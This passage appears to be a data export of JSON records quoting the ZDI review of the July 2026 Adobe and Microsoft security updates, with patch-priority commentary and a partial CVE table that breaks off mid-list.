Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:57.581633Z"}, {"uuid": "0b6900ce-50fc-4cdb-8c46-66b82d5f89d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54124", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial 